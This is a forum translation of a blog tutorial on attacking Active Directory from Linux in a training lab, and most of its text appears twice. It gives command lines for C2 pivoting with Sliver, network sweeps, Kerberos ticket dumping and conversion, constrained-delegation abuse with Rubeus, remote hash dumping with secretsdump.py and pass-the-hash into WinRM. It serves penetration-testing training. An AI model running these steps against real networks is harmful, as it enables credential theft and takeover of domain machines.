Первоисточник: https://gatari.dev/posts/the-art-of-exploiting-ad-from-linux/#what-if-i-have-no-credentials
Перевел: wesskibo специально для .is
ДИСКЛЕЙМЕР
Я не программист, а так же не разбираюсь в тех.части, потому перевод местами может быть не корректным. Не засоряйте тему исправлениями, отпишите в ПМ форума где есть ошибки, всем заранее спасибо!
Статья разделена на 2 части, так как я достиг ограничения по картинкам на форуме!
Вторая часть доступна по ссылке: threads/125578/
Введение
За время работы в лабораториях по Active Directory и помощи друзьям с их лабами я понял одно: дебагать Windows — это просто жесть.
Почти нереально нагуглить ошибки, так как они либо слишком общие, либо уникальные для конкретной атаки, над которой работаешь, и зачастую сообщения об ошибках сбивают с толку. Плюс, команды, которые работают у меня, могут не работать у других. И надо учитывать много других моментов, таких как:
В этом посте я расскажу о причинах, почему атака на Active Directory с Linux, на мой взгляд, предпочтительнее, чем с Windows, а также приведу примеры, как это сделать.
Но почему?
Я заметил, что в большинстве случаев, когда у моих друзей возникали проблемы, я советовал перенести их тикеты на Linux и воспользоваться тамошними инструментами с флагом --debug. Ошибки, выдаваемые в этом окружении, обычно более информативны. Их легче гуглить, а так же на них не влияет нестабильность Windows.
Я считаю, что большую часть атак на Active Directory можно выполнить с Linux так же, как и с Windows, но с дополнительным преимуществом в виде упрощенной отладки.
Дисклеймер
Я не утверждаю, что атака с Linux — это лучший выбор для всех ситуаций. В конечном итоге, выбор инструментов остается за оператором, исходя из конкретной задачи.
Предпологаемое вторжение
Во многих случаях у вас уже может быть доступ к сети. Чаще всего это одна скомпрометированная учетная запись доменного пользователя и/или рабочая станция.
Первые шаги, которые вы можете предпринять:
Идентификация и разрешение хостов
Имея доменную учетную запись с локальными административными правами на рабочей станции, мы можем легко идентифицировать контроллер домена, просто отправив ping на имя домена.
Код: Скопировать в буфер обмена
Отправив ping, мы можем легко определить, что контроллер домена находится по адресу 192.168.1.2; поскольку это находится в другой подсети, нам потребуется использовать рабочую станцию как точку доступа для выхода на контроллер домена.
Pivoting с помощью Silver
Не буду углубляться в детали, но мы будем использовать Sliver в качестве нашего фреймворка C2 и осуществим пивотинг через рабочую станцию с использованием их inband socks-прокси.
Получив коллбэк, мы оказываемся с правами непривилегированного пользователя на рабочей станции. Чтобы получить маяк с правами SYSTEM, нам потребуется обойти UAC (Контроль учетных записей)
Но нам это делать лень, поэтому можем просто выполнить маяк с помощью atexec.py из Linux, который запускает команду с помощью планировщика задач удаленно (что происходит в контексте SYSTEM).
Код: Скопировать в буфер обмена
Теперь у нас есть маяк с правами SYSTEM на рабочей станции.
Чтобы проксировать все наши команды через рабочую станцию, нам нужно настроить inband socks-прокси.
Код: Скопировать в буфер обмена
Inband socks-прокси Sliver иногда может быть нестабилен для некоторых протоколов и стоит на порту 1081 по умолчанию на машине оператора. Не забудьте изменить файл /etc/proxychains4.conf, чтобы такого не было.
Разрешение контроллера домена
Теперь мы можем проверить, что можем взаимодействовать с контроллером домена через proxychains.
Код: Скопировать в буфер обмена
Разрешение других хостов
Существует несколько способов разрешения других хостов в сети.
Умный и методичный подход заключается в том, чтобы составить список рабочих станций и серверов в сети, а затем разрешить их с помощью dig.
Ленивый способ — разрешить их, используя nmap для SMB-сканирования сети. Я покажу оба метода здесь.
Начнем с умного
Код: Скопировать в буфер обмена
Это дает вам список всех хостов в сети
Вы можете разрешить их с помощью этой команды, но это занимает вечность, так что я бы лично не стал делать это таким образом
Код: Скопировать в буфер обмена
Ленивый способ (нашенский)
Код: Скопировать в буфер обмена
Затем мы можем обработать вывод, чтобы извлечь IP-адреса и имена хостов в сети.
Код: Скопировать в буфер обмена
Если вы посмотрите внимательно, вы заметите аномалию: 192.168.1.56 US-MSSQL.Connection. Это SQL-сервер, и мы можем подтвердить это, подключившись к нему с помощью команды proxychains nxc mssql [IP/FQDN] -u [username] -p [password].
Любопытный случай с Bloodhound-Python
Этот пример показывает, почему запуск инструментов с Linux — это одновременно и благо, и проклятие. Давайте попробуем запустить наш сборщик, не заполнив файл /etc/hosts, и посмотрим, что произойдет.
Код: Скопировать в буфер обмена
Чтобы отладить эту проблему, нам придется заглянуть в исходный код и начать выводить некоторые переменные, чтобы понять, что происходит.
Код: Скопировать в буфер обмена
Давайте посмотрим на исходный код и увидем что произойдет
Python: Скопировать в буфер обмена
После добавления отладочных операторов давайте снова запустим сборщик.
Код: Скопировать в буфер обмена
Первое, что пришло мне в голову, — это то, что таймаут в 3 секунды слишком мал, учитывая, что мы запускаем сборщик через socks-прокси, который печально известен своей медлительностью. Поэтому я увеличил таймаут до 10 секунд с помощью параметра --dns-timeout 10.
Код: Скопировать в буфер обмена
Ошибка по-прежнему сохраняется. Следующее, что я заметил, — запрос использует UDP вместо TCP. Хотя протокол Socks5 поддерживает как TCP, так и UDP, реализация некоторых протоколов в Sliver может быть немного нестабильной. Давайте переключим его на использование TCP с параметром --dns-tcp (и уберем --dns-timeout 10, чтобы тестировать только одну переменную за раз).
Код: Скопировать в буфер обмена
Мы смогли пройти первый запрос, но ошибка все еще возникает. К счастью, я видел эту ошибку в PR на репозитории bloodhound-python: PR на BloodHound.py.
Если кратко: добавьте точку перед именем домена.
Код: Скопировать в буфер обмена
И вот теперь мы, наконец, видим проблему, связанную с тем, что файл /etc/hosts не был заполнен.
После добавления в /etc/hosts IP-адресов хостов в сети мы можем успешно запустить сборщик.
Код: Скопировать в буфер обмена
Когда я впервые использовал bloodhound-python, я увидел, что репозиторий:
Хочу подчеркнуть, что мы не должны винить разработчиков инструмента — они делают это бесплатно и в свое личное время. Я чрезвычайно благодарен за их труд, и цель этого поста — показать реальность (включая сложные моменты) использования инструментов с Linux.
Альтернативные коллекторы RustHound
Другой сборщик, который мне нравится использовать, если bloodhound-python капризничает, — это RustHound. Он немного стабильнее и обычно работает быстрее других сборщиков.
Код: Скопировать в буфер обмена
И он сразу заработал без каких-либо проблем!
Я хотел бы сделать небольшое отступление, чтобы обсудить ваши варианты, если у вас есть доступ к рабочей станции с учетной записью пользователя без прав администратора, и у вас нет учетных данных для этой учетной записи. Вы можете оказаться в такой ситуации после компрометации веб-сервера или SQL-сервера, когда у вас есть реверс-шелл.
Первое, что стоит проверить, — это наличие кэшированных Kerberos-тикетов в вашей текущей сессии входа. Вы можете проверить это с помощью klist, Rubeus.exe triage или Rubeus.exe klist. Я предпочитаю Rubeus.exe triage, так как учетные записи служб, как правило, имеют много тикетов, и смотреть на это довольно неприятно.
Вот как должен выглядеть ваш вывод, если вы находитесь с учетной записью без прав администратора, так как вы не сможете увидеть другие сессии входа.
Теперь мы можем извлечь свои собственные тикеты с помощью Rubeus.exe dump и использовать их удаленно.
Ваш вывод должен выглядеть примерно так
В качестве альтернативы вы можете использовать Rubeus.exe tgtdeleg, чтобы получить пригодный тикет для вашей текущей учетной записи без необходимости повышения привилегий.
Тикеты можно легко переносить между Windows (.kirbi) и Linux (.ccache), что позволяет использовать оба операционных системы. Ссылаясь на тикеты, которые мы получили ранее с помощью tgtdeleg, мы можем преобразовать их в формат, пригодный для использования в Linux.
Общие шаги следующие:
Затем мы можем использовать его с netexec, экспортировав тикет и запустив его с параметром --use-kcache (обратите внимание, что этот флаг может отличаться в разных инструментах).
Код: Скопировать в буфер обмена
Зеленый плюсик указывает на то, что мы успешно аутентифицировались с помощью тикета.
Будет мало или вовсе не будет объяснений специфики выполняемых атак; понимание атаки — это задача для читателя. Кроме того, я рекомендую пройти курсы CRTP и CRTE от Altered Security.
В этом посте мы рассмотрим только одну атаку: злоупотребление ограниченной делегацией на контролируемом принципале.
Это указывает на то, что у appsvc@us.techcorp.local установлен атрибут msds-AllowedToDelegateTo, который ссылается на US-MSSQL.us.techcorp.local. Это означает, что appsvc имеет право действовать от имени доменного пользователя для сервиса на US-MSSQL.
Мы можем увидеть SPN, к которому мы можем делегировать права, в свойствах узла BloodHound.
Или мы можем перечислить его с помощью findDelegation.py на Linux:
Код: Скопировать в буфер обмена
Мы видим, что appsvc имеет право делегировать доступ к CIFS/US-MSSQL.us.techcorp.local, что является крайне разрешительной делегацией.
Смотрите: HackTricks - Silver Ticket
Для демонстрации предположим, что мы компрометировали учетную запись appsvc и получили ее NTLM-хеш.
Код: Скопировать в буфер обмена
Не забудьте проверить, имеет ли ваш /impersonateuser локальные права администратора на целевой машине и не защищен ли от делегации.
Атака прошла безупречно, теперь давайте посмотрим, как мы можем передать этот тикет для использования в Linux (например, secretsdump.py для удаленной выгрузки хешей).
Во-первых, нам нужно, чтобы тикет был в формате, который легко скопировать и вставить в Linux; мы можем сделать это с помощью флага /nowrap, и, конечно, уберем флаг /ptt.
Код: Скопировать в буфер обмена
Аналогично предыдущему, мы можем применить тот же трюк, чтобы преобразовать тикет в формат, пригодный для использования в Linux.
Код: Скопировать в буфер обмена
И, конечно, мы можем проверить, что тикет пригоден для использования с nxc.
Код: Скопировать в буфер обмена
Мы также можем использовать describeTicket.py, чтобы визуализировать содержимое нашего тикета, и вы увидите, что у нас есть тикет, который подходит для сервиса CIFS на US-MSSQL. Однако это означает, что мы не сможем использовать WinRM.
Код: Скопировать в буфер обмена
Мы можем использовать флаг altservice, чтобы запросить тикет для сервиса HTTP, который подходит для WinRM.
Код: Скопировать в буфер обмена
Теперь тикет подходит для HTTP-сервиса на US-MSSQL, что включает в себя WinRM.
В качестве альтернативы вы также можете использовать свой CIFS-тикет для выгрузки хешей на целевой машине с помощью secretsdump.py, а затем использовать хеш локального администратора для входа через WinRM.
Код: Скопировать в буфер обмена
Теперь мы можем провести Pass-the-Hash (PTH) этого хеша в WinRM с помощью evil-winrm или nxc winrm.
Код: Скопировать в буфер обмена
Продолжение статьи: threads/125578/
Перевел: wesskibo специально для .is
ДИСКЛЕЙМЕР
Я не программист, а так же не разбираюсь в тех.части, потому перевод местами может быть не корректным. Не засоряйте тему исправлениями, отпишите в ПМ форума где есть ошибки, всем заранее спасибо!
Статья разделена на 2 части, так как я достиг ограничения по картинкам на форуме!
Вторая часть доступна по ссылке: threads/125578/
Введение
За время работы в лабораториях по Active Directory и помощи друзьям с их лабами я понял одно: дебагать Windows — это просто жесть.
Почти нереально нагуглить ошибки, так как они либо слишком общие, либо уникальные для конкретной атаки, над которой работаешь, и зачастую сообщения об ошибках сбивают с толку. Плюс, команды, которые работают у меня, могут не работать у других. И надо учитывать много других моментов, таких как:
- Есть ли у тебя активный тикет, привязанный к сессии? (проблема с Kerberos Double Hop)
- Если тикета нет, есть ли у тебя учетные данные для обертки команд в объект PS Credential?
- Ограничивает ли тебя PowerShell Constrained Language Mode (CLM)?
- Ну, а klist purge точно очищает все тикеты, верно?
В этом посте я расскажу о причинах, почему атака на Active Directory с Linux, на мой взгляд, предпочтительнее, чем с Windows, а также приведу примеры, как это сделать.
Но почему?
Я заметил, что в большинстве случаев, когда у моих друзей возникали проблемы, я советовал перенести их тикеты на Linux и воспользоваться тамошними инструментами с флагом --debug. Ошибки, выдаваемые в этом окружении, обычно более информативны. Их легче гуглить, а так же на них не влияет нестабильность Windows.
«tools» — это Impacket suite, который в целом стабилен и хорошо поддерживается.
Нажмите, чтобы раскрыть...
Я считаю, что большую часть атак на Active Directory можно выполнить с Linux так же, как и с Windows, но с дополнительным преимуществом в виде упрощенной отладки.
Дисклеймер
Я не утверждаю, что атака с Linux — это лучший выбор для всех ситуаций. В конечном итоге, выбор инструментов остается за оператором, исходя из конкретной задачи.
Примеры, приведенные в этом посте, были выполнены в лабораторной среде, любезно предоставленной Altered Security для сертификации CRTE. Я получил письменное разрешение на использование скриншотов в этом посте при условии, что не раскрою никаких секретов лаборатории.
Нажмите, чтобы раскрыть...
Предпологаемое вторжение
Во многих случаях у вас уже может быть доступ к сети. Чаще всего это одна скомпрометированная учетная запись доменного пользователя и/или рабочая станция.
Первые шаги, которые вы можете предпринять:
- Идентификация и разрешение хостов (особенно контроллера домена)
В частности, вам следует заполнить файл /etc/hosts IP-адресами хостов в сети; позже мы поймем, почему это важно.
- Запуск сборщиков Bloodhound
Идентификация и разрешение хостов
Имея доменную учетную запись с локальными административными правами на рабочей станции, мы можем легко идентифицировать контроллер домена, просто отправив ping на имя домена.
Код: Скопировать в буфер обмена
ping [domain_name]
Отправив ping, мы можем легко определить, что контроллер домена находится по адресу 192.168.1.2; поскольку это находится в другой подсети, нам потребуется использовать рабочую станцию как точку доступа для выхода на контроллер домена.
Pivoting с помощью Silver
Не буду углубляться в детали, но мы будем использовать Sliver в качестве нашего фреймворка C2 и осуществим пивотинг через рабочую станцию с использованием их inband socks-прокси.
Получив коллбэк, мы оказываемся с правами непривилегированного пользователя на рабочей станции. Чтобы получить маяк с правами SYSTEM, нам потребуется обойти UAC (Контроль учетных записей)
Но нам это делать лень, поэтому можем просто выполнить маяк с помощью atexec.py из Linux, который запускает команду с помощью планировщика задач удаленно (что происходит в контексте SYSTEM).
Код: Скопировать в буфер обмена
atexec.py [domain_name]/[username]:[password]@[workstation_ip] [command]
Теперь у нас есть маяк с правами SYSTEM на рабочей станции.
Чтобы проксировать все наши команды через рабочую станцию, нам нужно настроить inband socks-прокси.
Код: Скопировать в буфер обмена
sliver> socks5 start
Inband socks-прокси Sliver иногда может быть нестабилен для некоторых протоколов и стоит на порту 1081 по умолчанию на машине оператора. Не забудьте изменить файл /etc/proxychains4.conf, чтобы такого не было.
Разрешение контроллера домена
Теперь мы можем проверить, что можем взаимодействовать с контроллером домена через proxychains.
Код: Скопировать в буфер обмена
proxychains nxc smb [IP/FQDN] -u [username] -p [password]
Разрешение других хостов
Существует несколько способов разрешения других хостов в сети.
Умный и методичный подход заключается в том, чтобы составить список рабочих станций и серверов в сети, а затем разрешить их с помощью dig.
Ленивый способ — разрешить их, используя nmap для SMB-сканирования сети. Я покажу оба метода здесь.
Начнем с умного
Код: Скопировать в буфер обмена
proxychains nxc ldap [IP/FQDN] -u [username] -p [password] -M get-network -o ONLY_HOSTS=true
Это дает вам список всех хостов в сети
Вы можете разрешить их с помощью этой команды, но это занимает вечность, так что я бы лично не стал делать это таким образом
Код: Скопировать в буфер обмена
cat [list_of_targets] | while read domain; do proxychains dig @"[DC_IP]" "$domain"; done
Ленивый способ (нашенский)
Код: Скопировать в буфер обмена
proxychains nxc smb [IP/FQDN].0/24 -u [username] -p [password] --log [log_file]
Затем мы можем обработать вывод, чтобы извлечь IP-адреса и имена хостов в сети.
Код: Скопировать в буфер обмена
awk '/SMBv1:False)/{flag=1;next}/SMBv1:True)/{flag=0}flag' sweep.log | awk '{print $7, $9"."$11}' | sed 's/\\.*//'
Этот однострочник немного корявый и иногда выдает ошибки, если вывод не соответствует ожиданиям; будьте готовы его исправить.
Нажмите, чтобы раскрыть...
Если вы посмотрите внимательно, вы заметите аномалию: 192.168.1.56 US-MSSQL.Connection. Это SQL-сервер, и мы можем подтвердить это, подключившись к нему с помощью команды proxychains nxc mssql [IP/FQDN] -u [username] -p [password].
Bloodhound
Новички могут столкнуться с множеством проблем при удаленном запуске сборщиков Bloodhound, так как иногда это требует небольшого устранения неполадок.Любопытный случай с Bloodhound-Python
Этот пример показывает, почему запуск инструментов с Linux — это одновременно и благо, и проклятие. Давайте попробуем запустить наш сборщик, не заполнив файл /etc/hosts, и посмотрим, что произойдет.
Код: Скопировать в буфер обмена
proxychains bloodhound-python -u [username] -p [password] -d [domain] -ns [DC_IP] -c all
На первый взгляд, можно предположить, что эта ошибка связана с тем, что файл /etc/hosts не заполнен, но ошибка сохраняется даже после добавления в него IP-адресов хостов в сети.
Нажмите, чтобы раскрыть...
Чтобы отладить эту проблему, нам придется заглянуть в исходный код и начать выводить некоторые переменные, чтобы понять, что происходит.
Код: Скопировать в буфер обмена
Code:
File "/home/kali/.local/lib/python3.11/site-packages/dns/resolver.py", line 1321, in resolve
timeout = self._compute_timeout(start, lifetime, resolution.errors)
Давайте посмотрим на исходный код и увидем что произойдет
Python: Скопировать в буфер обмена
Code:
def query(
self,
qname: Union[dns.name.Name, str],
rdtype: Union[dns.rdatatype.RdataType, str] = dns.rdatatype.A,
rdclass: Union[dns.rdataclass.RdataClass, str] = dns.rdataclass.IN,
tcp: bool = False,
source: Optional[str] = None,
raise_on_no_answer: bool = True,
source_port: int = 0,
lifetime: Optional[float] = None,
) -> Answer: # pragma: no cover
"""Query nameservers to find the answer to the question.
This method calls resolve() with ``search=True``, and is
provided for backwards compatibility with prior versions of
dnspython. See the documentation for the resolve() method for
further details.
"""
warnings.warn(
"please use dns.resolver.Resolver.resolve() instead",
DeprecationWarning,
stacklevel=2,
)
print(f"\n[gatari] querying: {qname} {rdtype} {rdclass}")
print(f"[gatari] using nameserver(s): {self.nameservers}")
print(f"[gatari] using port: {self.port}")
print(f"[gatari] using protocol: {'TCP' if tcp else 'UDP'}")
print(f"[gatari] timeout: {self.timeout}\n")
return self.resolve(
qname,
rdtype,
rdclass,
tcp,
source,
raise_on_no_answer,
source_port,
lifetime,
True,
)
После добавления отладочных операторов давайте снова запустим сборщик.
Код: Скопировать в буфер обмена
proxychains bloodhound-python -u [username] -p [password] -d [domain] -ns [DC_IP] -c all
Первое, что пришло мне в голову, — это то, что таймаут в 3 секунды слишком мал, учитывая, что мы запускаем сборщик через socks-прокси, который печально известен своей медлительностью. Поэтому я увеличил таймаут до 10 секунд с помощью параметра --dns-timeout 10.
Код: Скопировать в буфер обмена
proxychains bloodhound-python -u [username] -p [password] -d [domain] -ns [DC_IP] -c all --dns-timeout 10
Ошибка по-прежнему сохраняется. Следующее, что я заметил, — запрос использует UDP вместо TCP. Хотя протокол Socks5 поддерживает как TCP, так и UDP, реализация некоторых протоколов в Sliver может быть немного нестабильной. Давайте переключим его на использование TCP с параметром --dns-tcp (и уберем --dns-timeout 10, чтобы тестировать только одну переменную за раз).
Код: Скопировать в буфер обмена
proxychains bloodhound-python -u [username] -p [password] -d [domain] -ns [DC_IP] -c all --dns-tcp
Мы смогли пройти первый запрос, но ошибка все еще возникает. К счастью, я видел эту ошибку в PR на репозитории bloodhound-python: PR на BloodHound.py.
Если кратко: добавьте точку перед именем домена.
Код: Скопировать в буфер обмена
proxychains bloodhound-python -u [username] -p [password] -d [domain]. -ns [DC_IP] -c all --dns-tcp
И вот теперь мы, наконец, видим проблему, связанную с тем, что файл /etc/hosts не был заполнен.
После добавления в /etc/hosts IP-адресов хостов в сети мы можем успешно запустить сборщик.
Код: Скопировать в буфер обмена
proxychains bloodhound-python -u [username] -p [password] -d [domain]. -ns [DC_IP] -c all --dns-tcp
Когда я впервые использовал bloodhound-python, я увидел, что репозиторий:
- Обновлялся недавно (2 месяца назад)
- Почти 2000 звезд
Хочу подчеркнуть, что мы не должны винить разработчиков инструмента — они делают это бесплатно и в свое личное время. Я чрезвычайно благодарен за их труд, и цель этого поста — показать реальность (включая сложные моменты) использования инструментов с Linux.
Альтернативные коллекторы RustHound
Другой сборщик, который мне нравится использовать, если bloodhound-python капризничает, — это RustHound. Он немного стабильнее и обычно работает быстрее других сборщиков.
Код: Скопировать в буфер обмена
proxychains rusthound -u [username] -p [password] -d [domain]
И он сразу заработал без каких-либо проблем!
Что делать, если у меня нет учетных данных?
Я хотел бы сделать небольшое отступление, чтобы обсудить ваши варианты, если у вас есть доступ к рабочей станции с учетной записью пользователя без прав администратора, и у вас нет учетных данных для этой учетной записи. Вы можете оказаться в такой ситуации после компрометации веб-сервера или SQL-сервера, когда у вас есть реверс-шелл.
Первое, что стоит проверить, — это наличие кэшированных Kerberos-тикетов в вашей текущей сессии входа. Вы можете проверить это с помощью klist, Rubeus.exe triage или Rubeus.exe klist. Я предпочитаю Rubeus.exe triage, так как учетные записи служб, как правило, имеют много тикетов, и смотреть на это довольно неприятно.
Вот как должен выглядеть ваш вывод, если вы находитесь с учетной записью без прав администратора, так как вы не сможете увидеть другие сессии входа.
Теперь мы можем извлечь свои собственные тикеты с помощью Rubeus.exe dump и использовать их удаленно.
Ваш вывод должен выглядеть примерно так
В качестве альтернативы вы можете использовать Rubeus.exe tgtdeleg, чтобы получить пригодный тикет для вашей текущей учетной записи без необходимости повышения привилегий.
Взаимодействие между Windows и Linux
Тикеты можно легко переносить между Windows (.kirbi) и Linux (.ccache), что позволяет использовать оба операционных системы. Ссылаясь на тикеты, которые мы получили ранее с помощью tgtdeleg, мы можем преобразовать их в формат, пригодный для использования в Linux.
Общие шаги следующие:
- Если тикет закодирован в base64 (из Rubeus), декодируйте его с помощью команды:
Код: Скопировать в буфер обмена
echo [base64] | base64 -d > ticket.kirbi
- Преобразуйте тикет в формат, который можно использовать в Linux, с помощью:
Код: Скопировать в буфер обмена
ticketConverter.py ticket.kirbi ticket.ccache
- Экспортируйте переменную окружения KRB5CCNAME, чтобы указать на тикет:
Код: Скопировать в буфер обмена
export KRB5CCNAME=/path/to/ticket.ccache
- Запустите ваши инструменты (Impacket) с параметрами -k -no-pass, чтобы указать, что вы хотите использовать кеш для аутентификации.
Затем мы можем использовать его с netexec, экспортировав тикет и запустив его с параметром --use-kcache (обратите внимание, что этот флаг может отличаться в разных инструментах).
Код: Скопировать в буфер обмена
export KRB5CCNAME=... && nxc smb ... --use-kcache
Зеленый плюсик указывает на то, что мы успешно аутентифицировались с помощью тикета.
Проведение атак
Теперь, когда мы знаем, как переносить наши тикеты из Windows в Linux, мы можем начать выполнять атаки удаленно в сети.Будет мало или вовсе не будет объяснений специфики выполняемых атак; понимание атаки — это задача для читателя. Кроме того, я рекомендую пройти курсы CRTP и CRTE от Altered Security.
В этом посте мы рассмотрим только одну атаку: злоупотребление ограниченной делегацией на контролируемом принципале.
Ограниченная делегация
После анализа собранных данных BloodHound мы видим этот узел:Это указывает на то, что у appsvc@us.techcorp.local установлен атрибут msds-AllowedToDelegateTo, который ссылается на US-MSSQL.us.techcorp.local. Это означает, что appsvc имеет право действовать от имени доменного пользователя для сервиса на US-MSSQL.
Мы можем увидеть SPN, к которому мы можем делегировать права, в свойствах узла BloodHound.
Или мы можем перечислить его с помощью findDelegation.py на Linux:
Код: Скопировать в буфер обмена
proxychains findDelegation.py [domain]/[username]:[password]
Мы видим, что appsvc имеет право делегировать доступ к CIFS/US-MSSQL.us.techcorp.local, что является крайне разрешительной делегацией.
Смотрите: HackTricks - Silver Ticket
Для демонстрации предположим, что мы компрометировали учетную запись appsvc и получили ее NTLM-хеш.
Windows -> Linux
Сначала мы проведем атаку из Windows, так как это, вероятно, будет более знакомо большинству читателей.Код: Скопировать в буфер обмена
execute-assembly Rubeus.exe s4u /msdsspn:[delegated_spn] /domain:[domain] /user:[user] /rc4:[ntlm hash] /impersonateuser:[user_with_local_admin] /ptt
Не забудьте проверить, имеет ли ваш /impersonateuser локальные права администратора на целевой машине и не защищен ли от делегации.
Атака прошла безупречно, теперь давайте посмотрим, как мы можем передать этот тикет для использования в Linux (например, secretsdump.py для удаленной выгрузки хешей).
Во-первых, нам нужно, чтобы тикет был в формате, который легко скопировать и вставить в Linux; мы можем сделать это с помощью флага /nowrap, и, конечно, уберем флаг /ptt.
Код: Скопировать в буфер обмена
execute-assembly Rubeus.exe s4u /msdsspn:[delegated_spn] /domain:[domain] /user:[user] /rc4:[ntlm hash] /impersonateuser:[user_with_local_admin] /nowrap
Аналогично предыдущему, мы можем применить тот же трюк, чтобы преобразовать тикет в формат, пригодный для использования в Linux.
Код: Скопировать в буфер обмена
echo "[b64_ticket]" | base64 -d > ticket.kirbi && ticketConverter.py ticket.kirbi ticket.ccache && export KRB5CCNAME=ticket.ccache
И, конечно, мы можем проверить, что тикет пригоден для использования с nxc.
Код: Скопировать в буфер обмена
nxc smb [IP/FQDN] --use-kcache
Мы также можем использовать describeTicket.py, чтобы визуализировать содержимое нашего тикета, и вы увидите, что у нас есть тикет, который подходит для сервиса CIFS на US-MSSQL. Однако это означает, что мы не сможем использовать WinRM.
Код: Скопировать в буфер обмена
describeTicket.py ticket.ccache
Мы можем использовать флаг altservice, чтобы запросить тикет для сервиса HTTP, который подходит для WinRM.
Код: Скопировать в буфер обмена
execute-assembly Rubeus.exe s4u /msdsspn:[delegated_spn] /domain:[domain] /user:[user] /rc4:[ntlm hash] /impersonateuser:[user_with_local_admin] /altservice:HTTP /nowrap
Теперь тикет подходит для HTTP-сервиса на US-MSSQL, что включает в себя WinRM.
В качестве альтернативы вы также можете использовать свой CIFS-тикет для выгрузки хешей на целевой машине с помощью secretsdump.py, а затем использовать хеш локального администратора для входа через WinRM.
Код: Скопировать в буфер обмена
proxychains secretsdump.py -k -no-pass [TARGET_FQDN]
Теперь мы можем провести Pass-the-Hash (PTH) этого хеша в WinRM с помощью evil-winrm или nxc winrm.
Код: Скопировать в буфер обмена
Code:
proxychains nxc winrm [IP/FQDN] -u [username] -H [hash] --local-auth
proxychains evil-winrm -i [IP/FQDN] -u [username] -H [hash]
Продолжение статьи: threads/125578/
Вложения
-
1729896148064.png
130.5 КБ · Просмотры: 1 -
1729896200326.png
28.3 КБ · Просмотры: 0 -
1729896308422.png
23.5 КБ · Просмотры: 1 -
1729896379964.png
42.3 КБ · Просмотры: 1 -
1729896645458.png
128.3 КБ · Просмотры: 1 -
1729896795429.png
179.6 КБ · Просмотры: 1 -
1729896809863.png
112.7 КБ · Просмотры: 1 -
1729896876893.png
58.2 КБ · Просмотры: 1 -
1729897024610.png
66.4 КБ · Просмотры: 1 -
1729936385081.png
124.8 КБ · Просмотры: 2 -
1729936505487.png
79.4 КБ · Просмотры: 2 -
1729936632170.png
45 КБ · Просмотры: 2 -
1729936655877.png
54 КБ · Просмотры: 3